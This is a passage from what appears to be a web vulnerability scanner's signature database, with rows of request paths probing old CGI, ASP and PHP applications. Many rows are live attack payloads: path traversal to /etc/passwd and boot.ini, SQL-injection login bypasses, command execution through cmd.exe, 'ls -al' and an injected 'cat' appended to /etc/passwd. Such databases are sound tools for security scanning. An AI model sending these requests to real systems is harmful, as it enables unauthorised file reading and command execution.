  3233. "generic","/modif_infos.asp?n=/.../.../.../.../.../.../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3234. "generic","/modif_infos.asp?n=/../../../../../../../../../../../../../../../../../../../../boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3235. "generic","/modif_infos.asp?n=/../../../../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3236. "generic","/modif_infos.asp?n=/.\"./.\"./.\"./.\"./.\"./boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3237. "generic","/modif_infos.asp?n=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3238. "generic","/modif_infos.asp?n=/etc/passwd%00","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3239. "generic","/modif_infos.asp?n=c:\boot.ini","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3240. "generic","/modules/Downloads/voteinclude.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3241. "generic","/modules/Forums/attachment.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3242. "generic","/modules/Search/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3243. "generic","/modules/WebChat/in.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3244. "generic","/modules/WebChat/out.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3245. "generic","/modules/WebChat/quit.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3246. "generic","/modules/WebChat/users.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3247. "generic","/modules/Your_Account/navbar.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3248. "generic","/moregroupware/modules/webmail2/inc/","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3249. "generic","/msadc/Samples/SELECTOR/showcode.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3250. "generic","/myguestBk/add1.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3251. "generic","/myguestBk/admin/delEnt.asp?id=NEWSNUMBER|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3252. "generic","/myguestBk/admin/index.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3253. "generic","/netget?sid=Safety&msg=2002&file=Safety","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3254. "generic","/newtopic.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3255. "generic","/nphp/nphpd.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3256. "generic","/OpenTopic","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3257. "generic","/options.inc.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3258. "generic","/oscommerce/default.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3259. "generic","/parse_xml.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3260. "generic","/pass_done.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3261. "generic","/php/gaestebuch/admin/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3262. "generic","/php/php4ts.dll","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3263. "generic","/pks/lookup","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3264. "generic","/pm/lib.inc.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3265. "generic","/poppassd.php3+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3266. "generic","/produccart/pdacmin/login.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3267. "generic","/productcart/database/EIPC.mdb","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3268. "generic","/productcart/pc/Custva.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3269. "generic","/ProductCart/pc/msg.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3270. "generic","/product_info.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3271. "generic","/prometheus-all/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3272. "generic","/proplus/admin/login.php+-d+\"action=insert\"+-d+\"username=test\"+-d+\"password=test\"","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3273. "generic","/protected/","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3274. "generic","/protected/secret.html+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3275. "generic","/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''='","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3276. "generic","/protection.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3277. "generic","/pt_config.inc","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3278. "generic","/pvote/add.php?question=AmIgAy&o1=yes&o2=yeah&o3=well..yeah&o4=bad%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3279. "generic","/pvote/del.php?pollorder=1%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3280. "generic","/quikmail/nph-emumail.cgi?type=../%00","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3281. "generic","/room/save_item.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3282. "generic","/rubrique.asp?no=%60/etc/passwd%60|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'`'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3283. "generic","/rubrique.asp?no=....//....//....//....//....//....//....//etc.passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3284. "generic","/rubrique.asp?no=../../../../../../../../../etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3285. "generic","/rubrique.asp?no=/....../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3286. "generic","/rubrique.asp?no=/.../.../.../.../.../.../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3287. "generic","/rubrique.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3288. "generic","/rubrique.asp?no=/../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3289. "generic","/rubrique.asp?no=/../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3290. "generic","/rubrique.asp?no=/.\"./.\"./.\"./.\"./.\"./boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3291. "generic","/rubrique.asp?no=/etc/passwd%00|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3292. "generic","/rubrique.asp?no=/etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'/'.","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3293. "generic","/rubrique.asp?no=c:\boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_'c:'.","boot load","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3294. "generic","/screen.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3295. "generic","/scripts/tradecli.dll","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3296. "generic","/scripts/tradecli.dll?template=nonexistfile?template=..\..\..\..\..\winnt\system32\cmd.exe?/c+dir","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3297. "generic","/security/web_access.html","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3298. "generic","/sendphoto.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3299. "generic","/servers/link.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3300. "generic","/setpasswd.cgi","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3301. "generic","/shop/php_files/site.config.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3302. "generic","/shop/search.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3303. "generic","/shop/show.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3304. "generic","/shoutbox/expanded.php?conf=../../../../../../../etc/passwd%20","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3305. "generic","/Site/biztalkhttpreceive.dll","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3306. "generic","/site_searcher.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3307. "generic","/spelling.php3+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3308. "generic","/squirrelmail/src/read_body.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3309. "generic","/staticpages/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3310. "generic","/status.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3311. "generic","/supporter/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3312. "generic","/supporter/tupdate.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3313. "generic","/sw000.asp?|-|0|404_Object_Not_Found","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3314. "generic","/syslog.htm?%20","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3315. "generic","/technote/print.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3316. "generic","/texis/websearch/phine","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3317. "generic","/tinymsg.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3318. "generic","/tmp_view.php?file=/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3319. "generic","/topic/entete.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3320. "generic","/topsitesdir/edit.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3321. "generic","/ttforum/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3322. "generic","/tutos/file/file_new.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3323. "generic","/tutos/file/file_select.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3324. "generic","/typo3/typo3/dev/translations.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3325. "generic","/uifc/MultFileUploadHandler.php+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3326. "generic","/upload.cgi+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3327. "generic","/url.jsp","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3328. "generic","/useraction.php3","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3329. "generic","/userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3330. "generic","/utils/sprc.asp+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3331. "generic","/vars.inc+","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3332. "generic","/VBZooM/add-subject.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3333. "generic","/wbboard/profile.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3334. "generic","/wbboard/reply.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3335. "generic","/webcalendar/login.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3336. "generic","/webcalendar/view_m.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3337. "generic","/webmail/lib/emailreader_execute_on_each_page.inc.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3338. "generic","/webmail/src/read_body.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3339. "generic","/web_app/WEB-INF/jrun-web.xml","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3340. "generic","/web_app/WEB-INF/webapp.properties","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3341. "generic","/XMBforum/buddy.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3342. "generic","/XMBforum/member.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3343. "generic","/x_stat_admin.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3344. "generic","/yabbse/Reminder.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3345. "generic","/yabbse/Sources/Packages.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3346. "generic","/zentrack/index.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3347. "generic","/_head.php","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3348. "generic","@CGIDIRSanyboard.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3349. "generic","@CGIDIRSauctiondeluxe/auction.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3350. "generic","@CGIDIRSbb-ack.sh","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3351. "generic","@CGIDIRSbb-rep.sh","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3352. "generic","@CGIDIRSbb-replog.sh","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3353. "generic","@CGIDIRSbuild.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3354. "generic","@CGIDIRScgforum.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3355. "generic","@CGIDIRSCSMailto.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3356. "generic","@CGIDIRSCSMailto/CSMailto.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3357. "generic","@CGIDIRScsNews.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3358. "generic","@CGIDIRScsPassword.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3359. "generic","@CGIDIRScsPassword/csPassword.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3360. "generic","@CGIDIRScutecast/members/","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3361. "generic","@CGIDIRSezshopper2/loadpage.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3362. "generic","@CGIDIRSezshopper3/loadpage.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3363. "generic","@CGIDIRSif/admin/nph-build.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3364. "generic","@CGIDIRSimageFolio.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3365. "generic","@CGIDIRSimagefolio/admin/admin.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3366. "generic","@CGIDIRSmagiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../../etc/passwd","root:","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3367. "generic","@CGIDIRSmojo/mojo.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3368. "generic","@CGIDIRSnon-existent.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3369. "generic","@CGIDIRSnph-exploitscanget.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3370. "generic","@CGIDIRSparse-file","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3371. "generic","@CGIDIRSquikstore.cfg","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3372. "generic","@CGIDIRSregister.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3373. "generic","@CGIDIRSsimplestguest.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3374. "generic","@CGIDIRSsimplestmail.cgi","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3375. "generic","@CGIDIRSstatusconfig.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3376. "generic","@CGIDIRSsws/manager.pl","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3377. "generic","@CGIDIRStexis/phine","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3378. "generic","@CGIDIRSutm/admin","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3379. "generic","@CGIDIRSutm/utm_stat","200","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3380. "generic","@CGIDIRSwhere.pl?sd=ls%20-al","drw","GET","This might be interesting... has been seen in web logs from an unknown scanner."
  3381.